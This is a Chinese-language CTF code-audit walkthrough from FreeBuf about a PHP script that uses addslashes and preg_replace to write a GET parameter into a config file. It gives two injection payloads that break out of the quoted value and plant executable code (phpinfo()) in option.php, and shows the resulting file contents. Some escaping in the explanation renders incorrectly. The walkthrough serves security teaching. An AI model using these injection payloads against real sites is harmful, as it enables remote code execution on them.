【代码小审计 PHP篇】Challenge 2 – 作者:chybeta

前言

专栏名为【代码小审计】,面向CTFer和代码审计新手。基于代码小片段进行讲解,包含但不限于php等语言。此次题目来自:Code-Audit-Challenges: php/challenge-3

Challenge

index.php

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|$option='.*';|', "$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);

xxxxx/option.php

$option='test';

Solution

流程如下:

  1. 对传入的option参数进行addslashes,比如有单引号',会变成'
  2. 通过正则匹配xxxxx/option.php中的$option='xxx';,将xxx的内容替换为经第一步处理的值
  3. 替换完成,将其写入xxxxx/option.php。

场景: 用于写入配置文件等。

法一

先访问:

?option=aaa';%0aphpinfo();//

经过addslashes后,$str值为 aaa';%0aphpinfo();//

进行正则匹配并写入文件,xxxxx/option.php的内容变为:

<?php
$option='aaa';
phpinfo();//';
?>

再访问:

?option=xxx

正则匹配时,会将两个单引号里的内容即 aaa ,替换为 xxx,此时xxxxx/option.php的内容变为

<?php
$option='xxx';
phpinfo();//';
?>

最后访问:/xxxxx/option.php

法二

访问:

?option=aaa';phpinfo();//

经过addslashes后,$str为 aaa\';phpinfo();//

经过preg_replace正则匹配后,对做了转义处理,xxxxx/option.php的内容变为:

<?php
$option='aaa\';phpinfo();//';
?>

最后访问:/xxxxx/option.php

Refference

来源:freebuf.com 2018-01-03 16:30:56 by: chybeta

相关推荐: 如何使用Metasploit对安卓手机进行控制 – 作者:凯信特安全团队

如何使用Metasploit对安卓手机进行控制现在大家每天的生活都离不开一样东西——手机。手机上的App给我们的生活带来了许多欢乐与便利,让我们足不出户便能知晓天下事。然而,并不是所有App都是为我们服务的,有些App可能会带着恶意去接近我们。如果你的程序是从…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论